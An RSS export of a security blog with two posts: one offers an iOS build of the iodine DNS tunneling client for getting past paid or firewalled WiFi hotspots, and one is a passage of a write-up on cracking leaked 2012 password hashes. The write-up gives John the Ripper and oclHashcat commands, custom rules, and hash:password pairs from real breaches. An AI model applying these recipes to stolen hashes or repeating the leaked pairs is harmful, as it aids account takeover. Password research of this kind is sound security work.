<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Thireus' Bl0g]]></title><description><![CDATA[… follow the white rabbit]]></description><link>https://blog.thireus.com/</link><image><url>https://blog.thireus.com/favicon.png</url><title>Thireus&apos; Bl0g</title><link>https://blog.thireus.com/</link></image><generator>Ghost 5.88</generator><lastBuildDate>Tue, 08 Jul 2025 13:54:06 GMT</lastBuildDate><atom:link href="https://blog.thireus.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[DNS Tunneling iodine 0.6.0-rc1 iOS version – IPv4 over DNS tunnel on your iPhone/iPad/iPod Touch]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>The famous DNS tunneling client, <a href="http://code.kryo.se/iodine/?ref=blog.thireus.com" title="kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel)">iodine</a> 0.6.0-rc1 for iOS 6.1! Available on&#xA0;<a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; Cydia Security-Oriented Repository">Thireus Cydia Repository</a>&#x2026;</p>
</blockquote>
<p><em>Like me, you may have faced this situation when you really need Internet but only have access to non-free WiFi hotspots (in an airport, tube, train, etc.). And even worst,</em></p>]]></description><link>https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b974</guid><category><![CDATA[bypass]]></category><category><![CDATA[compile]]></category><category><![CDATA[cydia]]></category><category><![CDATA[D4rkM4t3r]]></category><category><![CDATA[darwin]]></category><category><![CDATA[device]]></category><category><![CDATA[dns]]></category><category><![CDATA[DNS Tunneling]]></category><category><![CDATA[Doorman]]></category><category><![CDATA[Firewall]]></category><category><![CDATA[free]]></category><category><![CDATA[hotspot]]></category><category><![CDATA[Internet]]></category><category><![CDATA[iodine]]></category><category><![CDATA[ios]]></category><category><![CDATA[iOS 6.1]]></category><category><![CDATA[ip]]></category><category><![CDATA[iPad]]></category><category><![CDATA[iPhone]]></category><category><![CDATA[iPod touch]]></category><category><![CDATA[ipv4]]></category><category><![CDATA[jaibroken]]></category><category><![CDATA[jailbreak]]></category><category><![CDATA[Kryo]]></category><category><![CDATA[libpcap]]></category><category><![CDATA[MD5]]></category><category><![CDATA[nameserver]]></category><category><![CDATA[network]]></category><category><![CDATA[payload]]></category><category><![CDATA[repository]]></category><category><![CDATA[resolv.conf]]></category><category><![CDATA[root]]></category><category><![CDATA[security]]></category><category><![CDATA[ssh]]></category><category><![CDATA[Thireus]]></category><category><![CDATA[tun]]></category><category><![CDATA[tunemu]]></category><category><![CDATA[tunneling]]></category><category><![CDATA[wifi]]></category><category><![CDATA[yarrick]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Mon, 01 Apr 2013 21:29:56 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><img src="https://blog.thireus.com/img/thireus-repository-icon.png" alt="Thireus Repository" title="Thireus Repository Icon" loading="lazy"></p>
<blockquote>
<p>The famous DNS tunneling client, <a href="http://code.kryo.se/iodine/?ref=blog.thireus.com" title="kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel)">iodine</a> 0.6.0-rc1 for iOS 6.1! Available on&#xA0;<a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; Cydia Security-Oriented Repository">Thireus Cydia Repository</a>&#x2026;</p>
</blockquote>
<p><em>Like me, you may have faced this situation when you really need Internet but only have access to non-free WiFi hotspots (in an airport, tube, train, etc.). And even worst, when you cannot establish a single SSH connexion nor VPN proxy because the firewall is blocking everything. Fortunately, DNS tunneling is here to save us!</em></p>
<p>One of the most famous DNS tunneling tool is <a href="http://code.kryo.se/iodine/?ref=blog.thireus.com" title="kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel)">iodine</a>, which is quite easy to setup. Unfortunately the latest client version (0.6.0-rc1) was not available for iOS, until I decided to compile it and push it on <a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; Cydia Security-Oriented Repository">my Cydia Repository</a>. So you can now enjoy DNS tunneling on your jailbroken iPhone, iPad or iPod Touch!</p>
<h4 id="description">Description</h4>
<p>The package &#x201C;<strong>iodine 0.6.0-rc1 (IPv4 over DNS tunnel)</strong>&#x201D; installs the latest and patched version of iodine on your iDevice. This tool lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.</p>
<p><a href="https://blog.thireus.com/img/iodine1.png"><img src="https://blog.thireus.com/img/iodine1-200x300.png" alt="iodine 0.6.0-rc1" loading="lazy"></a> <a href="https://blog.thireus.com/img/iodine.png"><img src="https://blog.thireus.com/img/iodine-200x300.png" alt="iodine on iOS 6.1.2" loading="lazy"></a></p>
<h4 id="howdoiinstallthispackage">How do I install this package?</h4>
<p>Add&#xA0;<a href="https://blog.thireus.com/thireus-repository-new-cydia-security-oriented-repository" title="Thireus Repository &#x2013; New Cydia Security-Oriented Repository">Thireus Repository</a>&#xA0;<strong><a href="https://repo.thireus.com/?ref=blog.thireus.com">https://repo.thireus.com/</a></strong> to Cydia and install the package named &quot;<strong>iodine 0.6.0-rc1 (IPv4 over DNS tunnel)</strong>&quot;.</p>
<h4 id="isitsafe">Is it safe?</h4>
<p>The iodine client should be safe to use. The most dangerous aspect of DNS tunneling is that anyone can see your traffic and do nasty things with it. Nothing is encrypted. So if you really wish to do DNS tunneling you should use a SSH tunnel inside the DNS tunnel.</p>
<p>I recommend you to read those lines carefully. They have been&#xA0;extracted from the manpage:</p>
<blockquote>
<p>Login is a relatively secure challenge-response MD5 hash, with the password never passing the wire. However, all other data is NOT encrypted in any way. The DNS traffic is also vulnerable to replay, injection and man-in-the-middle attacks, especially when iodined is used with the -c option. Use of ssh or vpn tunneling is strongly recommended. On both server and client, use iptables, pf or other firewalls to block all traffic coming in from the tun interfaces, except to the used ssh or vpn ports.</p>
</blockquote>
<h4 id="whataboutperformances">What about performances?</h4>
<p>DNS tunneling is very slow. But you have to understand that using such a trick allows you to have Internet in the worst scenario, just by accessing a WiFi hotspot that performs DNS queries (most of them do). Depending of the payload size you can pipe into the DNS tunnel, you can have very bad performances such as 5kb/s but that can go up to 200kb/s.</p>
<p><em>Enjoy Internet everywhere!<br>
Big thanks to Kryo, yarrick, Doorman, D4rkM4t3r and all iodine contributors.</em></p>
<h4 id="references">References</h4>
<ul>
<li><a href="http://code.kryo.se/iodine/?ref=blog.thireus.com" title="Official iodine website, kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel).">http://code.kryo.se/iodine/</a>&#xA0;&#x2013; Official iodine website,&#xA0;kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel).</li>
<li><a href="https://github.com/yarrick/iodine?ref=blog.thireus.com" title="A maintained iodine version. This is the one I used.">https://github.com/yarrick/iodine</a>&#xA0;&#x2013; A maintained iodine version. This is the one I used.</li>
<li><a href="http://doorman.danssaert.be/?p=51&amp;ref=blog.thireus.com" title="An old iodine version (0.5.2) compiled for iOS with diff provided by Doorman.">http://doorman.danssaert.be/?p=51</a>&#xA0;&#x2013; An old iodine version (0.5.2) compiled for iOS with diff provided by&#xA0;Doorman.</li>
<li><a href="https://github.com/D4rkM4t3r/libpcap-iphone?ref=blog.thireus.com" title="libpcap for iOS. Awesome script by D4rkM4t3r.">https://github.com/D4rkM4t3r/libpcap-iphone</a>&#xA0;&#x2013;&#xA0;libpcap for iOS. Awesome script by&#xA0;D4rkM4t3r.</li>
<li><a href="http://code.gerade.org/tunemu/?ref=blog.thireus.com" title="tunemu, a tun device emulation for Darwin.">http://code.gerade.org/tunemu/</a>&#xA0;&#x2013; tunemu, a tun device emulation for Darwin.</li>
</ul>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="iodine iphone">iodine iphone</a></li>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="dns tunneling via ios jailbreak">dns tunneling via ios jailbreak</a></li>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="icloud bypass dns">icloud bypass dns</a></li>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="icloud bypass dns server">icloud bypass dns server</a></li>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="how to tunnel wifi using jailbroken iphone">how to tunnel wifi using jailbroken iphone</a></li>
<li><a href="https://blog.thireus.com/dns-tunneling-iodine-0-6-0-rc1-ios-version-ipv4-over-dns-tunnel-on-your-iphoneipadipod-touch" title="how to dns tunnel on iphone">how to dns tunnel on iphone</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Look Back on 2012's Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>This article is a collaborative work between 3 authors. This is our look back on the most famous public password leaks of 2012.</p>
</blockquote>
<p><span style="color: #888888;">Authors: <a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter"><span style="color: #888888;">m3g9tr0n</span></a>, <a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Thireus on Twitter"><span style="color: #888888;">Thireus</span></a>, <a href="https://twitter.com/CrackTheHash?ref=blog.thireus.com" title="CrackTheHash"><span style="color: #888888;">CrackTheHash</span></a> |&#xA0;Copy Editor: Thireus.</span></p>
<p><em>Nowadays, different black hat hacking communities around the World are publishing their leaks on various online paste Web Services</em></p>]]></description><link>https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b973</guid><category><![CDATA[2013]]></category><category><![CDATA[Adobe]]></category><category><![CDATA[AMD]]></category><category><![CDATA[analysis]]></category><category><![CDATA[ATI]]></category><category><![CDATA[Blizzard]]></category><category><![CDATA[bruteforce]]></category><category><![CDATA[CCNP]]></category><category><![CDATA[Collaborative_Work]]></category><category><![CDATA[CPU]]></category><category><![CDATA[cracking]]></category><category><![CDATA[CrackThatHash]]></category><category><![CDATA[CrackTheHash]]></category><category><![CDATA[CTH]]></category><category><![CDATA[CTH_WordExtractor]]></category><category><![CDATA[cuda]]></category><category><![CDATA[download]]></category><category><![CDATA[eHarmony]]></category><category><![CDATA[entr0py]]></category><category><![CDATA[Gamigo]]></category><category><![CDATA[Geissens]]></category><category><![CDATA[GPU]]></category><category><![CDATA[hash]]></category><category><![CDATA[hashcat]]></category><category><![CDATA[hashes]]></category><category><![CDATA[InfoSecSouthwest2012]]></category><category><![CDATA[john]]></category><category><![CDATA[John the Ripper]]></category><category><![CDATA[KoreLogic]]></category><category><![CDATA[Leakedin]]></category><category><![CDATA[LinkedIN]]></category><category><![CDATA[m3g9tr0n]]></category><category><![CDATA[MD5]]></category><category><![CDATA[million]]></category><category><![CDATA[NVIDIA]]></category><category><![CDATA[oclHashcat-plus]]></category><category><![CDATA[OpenCL]]></category><category><![CDATA[password]]></category><category><![CDATA[Paste2.org]]></category><category><![CDATA[Pastebin]]></category><category><![CDATA[Pastebindorks]]></category><category><![CDATA[PastebinLeaks]]></category><category><![CDATA[pasteminer]]></category><category><![CDATA[pastemon]]></category><category><![CDATA[Paypal]]></category><category><![CDATA[Project Whitefox]]></category><category><![CDATA[raw-md5]]></category><category><![CDATA[raw-sha1]]></category><category><![CDATA[raw-sha1-linkedin]]></category><category><![CDATA[SHA1]]></category><category><![CDATA[split]]></category><category><![CDATA[Stratfor]]></category><category><![CDATA[Thireus]]></category><category><![CDATA[torrent]]></category><category><![CDATA[twitter]]></category><category><![CDATA[WordExtractor]]></category><category><![CDATA[wordlist]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Tue, 01 Jan 2013 00:00:10 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/look-back-on-2012-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/look-back-on-2012-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques.jpg" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"><p>This article is a collaborative work between 3 authors. This is our look back on the most famous public password leaks of 2012.</p>
</blockquote>
<p><span style="color: #888888;">Authors: <a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter"><span style="color: #888888;">m3g9tr0n</span></a>, <a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Thireus on Twitter"><span style="color: #888888;">Thireus</span></a>, <a href="https://twitter.com/CrackTheHash?ref=blog.thireus.com" title="CrackTheHash"><span style="color: #888888;">CrackTheHash</span></a> |&#xA0;Copy Editor: Thireus.</span></p>
<p><em>Nowadays, different black hat hacking communities around the World are publishing their leaks on various online paste Web Services like <a href="http://pastebin.com/?ref=blog.thireus.com" title="Pastebin">Pastebin</a>, <a href="http://paste2.org/?ref=blog.thireus.com" title="Paste2">Paste2.org</a>, and others. The most common dumps of credentials are performed using SQL Injection exploitation. These leaks often contain elements such as usernames, passwords, addresses, zip codes, telephone numbers and even paypal accounts or credit card numbers. In a small amount of them, passwords are in plain text which makes hackers&apos; job very easy.</em></p>
<p>In this article, we gathered a big amount of public published leaks with main purpose to check the strength of users&apos; passwords and password policy which is applied for each service. Some well known leaks, included in our article, are <strong>LinkedIN</strong>, <strong>Stratfor</strong>, <strong>Gamigo</strong>, <strong>NVidia</strong>, <strong>Adobe</strong> and <strong>eHarmony</strong>. We are going to present our cracking techniques and tools which we used to crack passwords from these leaks. And as a gift gave to our readers, you will find attached to the end of this article a wordlist containing all cracked passwords from these leaks.</p>
<h4 id="crackingmethodologiesandtoolsspandatamcemark1stylecolor888888spandatamcemark1stylecolor888888m3g9tr0nspanspan">CRACKING METHODOLOGIES AND TOOLS&#x2026;<span data-mce-mark="1" style="color: #888888;"> (<a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter"><span data-mce-mark="1" style="color: #888888;">m3g9tr0n</span></a>)</span></h4>
<p><em>The tools we used to accomplish our cracking process are <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> and <a href="http://hashcat.net/?ref=blog.thireus.com" title="Hashcat - Advanced password recovery">Hashcat-suite</a>. In other words, we took advantage of both CPU and GPU powers.</em></p>
<p>When dealing with password cracking the most important thing is to know as many elements as possible about your target. For the case of Stratfor we had all the appropriate elements needed for effective password cracking. These are usernames, first name, last name and e-mails. Many users use their e-mail or username (or part of) as password or keyword. Knowing these information really speeds up the cracking process as it is more effective to create a wordlist based on these information for our first cracking step. On the other side,&#xA0; LinkedIN and other well known leaks contained only hashes&#x2026; that makes the cracking process more difficult and time consuming. But, with good rules and techniques some interesting results can be achieved. For better documentation, we are going to analyze each case separately by showing the techniques and custom rules.</p>
<h6 id="stratforcase">Stratfor Case</h6>
<p>Regarding Stratfor, we had all the appropriate elements needed for effective password cracking. The first action was to separate names, usernames, e-mails and encrypted passwords to different files. In a first attempt we used John the Ripper&apos;s <code>--single</code> attack which is a cracking attack purely based on usernames associated to hashes (the Hashcat-suite does not provide such an attack). The <em>hashfile</em> must have this kind of format for the attack to be effective:</p>
<pre><code>John@yahoo.com:90560000032a57c389f686bd4eeccd4a
Kate@hotmail.com:d4c202003a0a66496df5c043ec1eaaac
</code></pre>
<ul>
<li>
<p>John the Ripper command for <code>--single</code> attack against MD5:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ ./john --format=raw-md5 --single --pot=stratfor.pot Stratfor-hashes.txt
</code></pre>
</li>
</ul>
<p>This kind of attack was able to crack many passwords. When I (<a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter">m3g9tr0n</a>) am trying to crack passwords, my first reaction is to apply effective rules against effective wordlists. As far as John the Ripper is concerned, I always try <em>Single</em>, <em>Extra</em>, <em>Jumbo</em> and rules presented in <a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="Cracking Story &#x2013; How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords">my first article</a> in addition to some rules generated by <a href="https://github.com/bartavelle/rulesfinder/tree/master/results?ref=blog.thireus.com" title="bartavelle / rulesfinder">Bartavelle</a>. Regarding Hashcat-suite our favourite rules are best64.rule, best80.rule, passwordpro.rule, T0XlC.rule and d3ad0ne.rule.</p>
<ul>
<li>
<p>A typical example of a wordlist attack with John the Ripper is:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ ./john --format=raw-md5 --wordlist=list.txt --pot=stratfor.pot --rules:Single Stratfor-hashes.txt
</code></pre>
</li>
<li>
<p>A typical example of a wordlist attack with oclHashcat-plus (GPU based) is:</p>
<pre><code>  m3g9tr0n@linux:~/oclHashcat-plus0.09/$ ./oclHashcat-plus64.bin -m 0 hashfile.txt list.txt -r rules/best80.rule -o hashfile-crack.txt --remove
</code></pre>
</li>
</ul>
<p>During our cracking processes against Stratfor, we observed that many passwords contained the word &quot;stratfor&quot;. Based on this observation, we considered to generate our own rule that appends or prepends this keyword at the beginning and at the end of each word of a given wordlist. The following code is an example of rule created for John the Ripper in the <em>john.conf</em> file:</p>
<pre><code>[List.Rules:stratfor]
A0&quot;[Ss][tT+][rR][aA@][tT+][fF][oO0][rR]&quot;
Az&quot;[Ss][tT+][rR][aA@][tT+][fF][oO0][rR]&quot;
</code></pre>
<p>After cracking a big amount of passwords, we generated a custom charset with John the Ripper.</p>
<ul>
<li>
<p>A typical example to generate your own charset file with John the Ripper:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ ./john --make-charset=stratfor.chr --pot=stratfor.pot
</code></pre>
</li>
<li>
<p>And the associated incremental rule in john.conf file:</p>
<pre><code>  [Incremental:stratfor]
  File = $JOHN/stratfor.chr
  MinLen = 10
  MaxLen = 31
  CharCount = 95
</code></pre>
</li>
</ul>
<p>The charset file can be used to conduct Brute Force attack with John the Ripper based on Markov model.</p>
<ul>
<li>
<p>A typical example of Brute Force attack with Markov model in John the Ripper is:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ ./john --format=raw-md5 --incremental=stratfor --pot=stratfor.pot hashfile.txt
</code></pre>
</li>
</ul>
<p>We left John the Ripper to run for a large amount of time. Many passwords were cracked, but the most important was that a large amount of these recovered passwords using this method were 8 characters mixed upper, lower and numbers. Thus, we understood that Stratfor had a policy of generating either default or recovered passwords with this policy for their users. Our first thought was to use the <code>pwgen</code> utility in order to produce random passwords based on this policy.</p>
<ul>
<li>
<p>A typical example of <code>pwgen</code> to generate 8 characters mixed upper, lower and numbers:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ pwgen -c -n -s -1 8 5
  Ch1NiIzz
  YrN5SSXL
  8CdcCJGG
  5YBIxBTt
  rmIW8ipN
</code></pre>
</li>
</ul>
<p>Of course in our case we should generate more passwords and pipe <code>pwgen</code>&#x2019;s output to John the Ripper or Hashcat-Suite. But this kind of attack is too slow. For that reason we should take advantage of the GPU. We applied Brute Force attacks via <a href="http://hashcat.net/oclhashcat-plus/?ref=blog.thireus.com" title="oclHashcat-plus - advanced password recovery">oclHashcat-plus</a>.</p>
<ul>
<li>
<p>A typical example of Brute Force attack with oclHashcat-plus:</p>
<pre><code>  m3g9tr0n@linux:~/oclHashcat-plus0.09/$ ./oclHashcat-plus64.bin -a 3 -1 ?l?d?u hashfile.txt ?1?1?1?1?1?1?1?1 -o hashfile-crack.txt --remove
</code></pre>
</li>
</ul>
<p>This kind of attack took 2 days and 17 hours to complete with an ATI 5770 but it was only able to crack 48% of passwords.</p>
<ul>
<li>
<p>Some examples of cracked passwords generated from the Stratfor&#x2019;s policy are:</p>
<pre><code>  dd39ebf25b0892803c0edfdedfcf137a:4QnvJQKQ
  0adff76e3b3c2130fcb8d9cf476f947a:4Kjduu8J
  61b4f425867841330cec762d96df157b:4sFqqEnY
  ffee030ed8d97ad550e50b011d95b47b:2xdjVx7G
  728d78a787d7279cb0a007f5f68d817c:2DJsL9jE
  00ca874d657b3fcdddbb96121667ca7c:33g3UWcA
  73b87959e3d1ba6c97037f6ddb5be87c:3TSfVw9M
  9a4f0f28125c03323951283409c8187d:37nfZS6p
  01dfda585ff13b24ab1d276bfd58227d:2K2HHfKC
  7a4f94112cd50422740035dd80f52a7d:2s6KkegZ
  99ee4023fc71693006af30dbb25f477d:4f9ySQxR
  e46c4ccb9323566dbeb1a33967c94a7d:2SfXBWb7
  99aba8d7e69649332ac64e813a664b7d:4pZ7ZmjJ
  e5f706829a937c3fa5e430c81e926f7d:3YnxoEfy
  ffff9c930660fae4c9e9ace85a96a27d:2JTSA88Y
  0d7103e46a1c0f44df5c096b6e2ae17d:2ATb8ApH
</code></pre>
</li>
</ul>
<h6 id="eharmonycase">eHarmony Case</h6>
<p>Regarding eHarmony it seems that the website had a policy to covert all users&apos; passwords to UpperCase. For example, if you had inserted, as a registered user, the password &quot;p@$$w0rd&quot;, eHarmony&#x2019;s system would have converted it to &quot;P@$$W0RD&quot;.</p>
<p>The first thought that came up to my mind was to write a simple rule for John the Ripper to convert all my wordlists to uppercase characters:</p>
<pre><code>[List.Rules:eharmony]
u
</code></pre>
<p>Then, I applied this Rule to John the Ripper and a large amount of passwords were cracked very fast:</p>
<pre><code>m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ cat ../Wordlists/* | ./john --format=raw-md5 --pipe --pot=eharmony.pot --rules:eharmony hashfile.txt
</code></pre>
<p>Due to the fact that my wordlists do not contain only uppercase letters, numbers and symbols it was a waste of time to apply other rules against eHarmony hashes. So I decided to convert the most effective wordlists to uppercase characters, using the above mentioned rule, and apply some specific rules:</p>
<ul>
<li>
<p>Convert a wordlist to uppercase with John the Ripper:</p>
<pre><code>  m3g9tr0n@linux:~/JohnTheRipper-OMP/run/$ cat ../Wordlists/* | ./john --pipe --rules:eharmony --stdout &gt; ../Wordlists/UpperList.txt
</code></pre>
</li>
</ul>
<p>Then, I used the <code>--wordlist</code> attack with John the Ripper using the following rules (it is just a sample to which you can add more rules):</p>
<pre><code>$[1]$[2]$[3]
^[S]
$[T]$[E]$[R]
^[P]
$[M]$[A]$[N]
^[M]
^[B]
^[C]
^[A]
^[A]^[P]
^[T]
$[I]$[N]$[G]
^[A]^[M]
^[S]^[A]^[P]
$[P]$[B]$[B]
$[R]$[T]$[Y]
^[D]
$[E]$[R]$[S]
^[H]
$[P]$[E]$[R]
^[F]
$[G]$[E]$[R]
^[G]
$[K]$[E]$[R]
^[K]
$[S]$[O]$[N]
^[R]
^[L]
$[I]$[N]$[E]
^[P]^[H]^[P]
$[I]$[O]$[N]
^[J]
$[V]$[E]$[R]
^[W]
$[E]$[S]$[T]
^[H]^[P]
$[D]$[E]$[R]
^[N]
$[K]$[E]$[Y]
^[H]^[C]
$[O]$[N]$[E]
^[E]
$[A]$[S]$[S]
^[E]^[W]^[Q]
^[A]^[S]
$[T]$[O]$[N]
^[E]^[D]
$[D]$[O]$[G]
^[W]^[Q]
</code></pre>
<p>Of course, you can always generate your own rules or modify existing custom rules contained in the <em>john.conf</em> file. In addition to this, Hashcat Suite&apos;s rules can be used. One simple rule is to use the keyword &quot;EHARMONY&quot; at the beginning or at the end of each word:</p>
<pre><code>[List.Rules:eharmony]
A0&quot;[E][H][A][R][M][O][N][Y]&quot;
Az&quot;[E][H][A][R][M][O][N][Y]&quot;
</code></pre>
<p>For people who do not own strong hardware and adequate disk space, Hashcat-suite contains a powerfull parameter which has to do with combination. In other words, you can combine each word of your first wordlist with the other.</p>
<ul>
<li>
<p>Thus, I generated some wordlists via crunch, such as the following one of 4 ualpha-numeric characters:</p>
<pre><code>  m3g9tr0n@linux:~/crunch3.1/$ ./crunch 4 4 -f charset.lst ualpha-numeric -o 4-list.txt
</code></pre>
</li>
<li>
<p>And used combination attacks with oclHashcat-plus:</p>
<pre><code>  m3g9tr0n@linux:~/oclHashcat-plus0.09/$ ./oclHashcat-plus64.bin -a 1 hashlist.txt ../crunch3.1/4-list.txt ../crunch3.1/4-list.txt -o hashfile-crack.txt --remove
</code></pre>
</li>
</ul>
<h6 id="methodologyforotherleaks">Methodology for Other Leaks</h6>
<p>Regarding other leaks such as <strong>Nvidia</strong>, <strong>Gamigo</strong>, <strong>Adobe</strong>, <strong>Project Whitefox</strong>, <strong>LinkedIN</strong> and various unknown leaks collected from Pastebin, the tools and methodology are the same. The only difference is that in each situation we have to create custom rules that refer to the name of the platform/website or by guessing some keywords.</p>
<ul>
<li>
<p>John the Ripper Rules for <strong>Nvidia</strong>:</p>
<pre><code>  [List.Rules:nvidia]
  A0&quot;[Nn][Vv][iI1][Dd][iI1][aA@]&quot;
  Az&quot;[Nn][Vv][iI1][Dd][iI1][aA@]&quot;
</code></pre>
</li>
<li>
<p>John the Ripper Rules for <strong>Adobe</strong>:</p>
<pre><code>  [List.Rules:adobe]
  A0&quot;[Aa@][Dd][oO0][bB][eE]&quot;
  Az&quot;[Aa@][Dd][oO0][bB][eE]&quot;
</code></pre>
</li>
</ul>
<p><em>You can also create similar rules for Hashact-Suite.</em></p>
<p>Another effective technique is the fingerprint attack. This is an attack that is focused on using cracked passwords against the remaining hashes.</p>
<ul>
<li>
<p>To isolate cracked passwords from .pot files (John the Ripper or Hashcat-suite) use:</p>
<pre><code>  cut -d: -f2- john.pot | sort | uniq &gt; list.txt
</code></pre>
</li>
<li>
<p>In Hashcat-suite to isolate MD5 cracked passwords (from output with the -o option), use:</p>
<pre><code>  cut -b34- crack-file.txt | sort | uniq &gt; list.txt
</code></pre>
</li>
</ul>
<p>Then you can try all the rules mentioned above. From my own experience this technique has always great results.</p>
<h4 id="advancedpasswordcrackingforhungrypasswordcrackersspanstylecolor888888spanstylecolor888888thireusspanspan">ADVANCED PASSWORD CRACKING FOR HUNGRY PASSWORD CRACKERS&#x2026;<span style="color: #888888;">&#xA0;(<a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Thireus on Twitter"><span style="color: #888888;">Thireus</span></a>)</span></h4>
<p><em>During your cracking sessions you may certainly have noticed that most of the passwords used by users are always made of &quot;keywords&quot;. This can easily be noticed when dealing with big leaks such as LinkedIn, Gamigo or Stratfor. These keywords are interesting for us, as they are used by users consciously or unconsciously in their passwords. Fortunately for us, lot of users use the same keywords and if you want to go further in your cracking process the main idea will be to use these keywords as roots for generating new passwords. In this article section I (<a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Thireus on Twitter">Thireus</a>) will introduce you a new cracking technique based on this idea. But first of all let me explain what those keywords are exactly and why they can be so useful&#x2026;</em></p>
<h6 id="aboutkeywords">About &quot;Keywords&quot;&#x2026;</h6>
<p>Basically keywords can be described as passwords or part of passwords that appear as intelligible or used by multiple users. Let&apos;s focus on the following example:</p>
<pre><code>Il0v3soph
il0v3sam
k4r3nl0v3sk4t3
l0v3s3at
l0v3s3x
Myl0v3s
</code></pre>
<p>These passwords have the keyword &quot;<strong>l0v3s</strong>&quot; in common, which can be found at the beginning, at the end or in the middle of the password. A common mistake would be to think that re-using these passwords with various rules will make more &quot;<strong>l0v3s</strong>&quot; based passwords appear, which is false because most of the rules you use will never extract the &quot;<strong>l0v3s</strong>&quot; pattern only, but combine or transform each of these passwords&#x2026; And yet, you keep thinking that there should be more words containing this keyword&#x2026; and you are right!</p>
<p>As explained in this section&#x2019;s introduction, keywords are not just words, they are part of passwords that are intelligible or repeated among multiple users&apos; passwords. Here are some example of keywords:</p>
<pre><code>inked
_123
assword
!)!
</code></pre>
<p>Keywords can be anything intelligible or not. The most important think about keywords is that they are not random, ideally generated by humans <strong>AND</strong> have a high probability to appear in other passwords. Of course keywords can be part of other keywords, for example:</p>
<p><strong>inked &#x2013;&gt; Linked, linked, winked, inkedIN, etc.</strong></p>
<p>Another nice property of keywords is that they are independent of the password size. And a weak password (understand easily crackable with BruteForce/Rules/Wordlists) can contain a specific keyword, that you can reuse to crack other strong passwords. Let&apos;s see for example how the following passwords have been cracked:</p>
<pre><code>a6fee417cdc11a71ac5da0ebb9cd20acb93d2959:M00linkedin13
ebf1570c045011b27706a28eb4c857a5b994cf47:0linkedin1-us2
</code></pre>
<p><strong>M00linkedin13</strong> &#x2013;&gt; Was cracked because it contains the keyword &quot;<strong>linkedin13</strong>&quot; which is part of more than 40 other linkedin passwords and is also a weak linkedin password. <em>M00linkedin13 = 3chars + keyword</em></p>
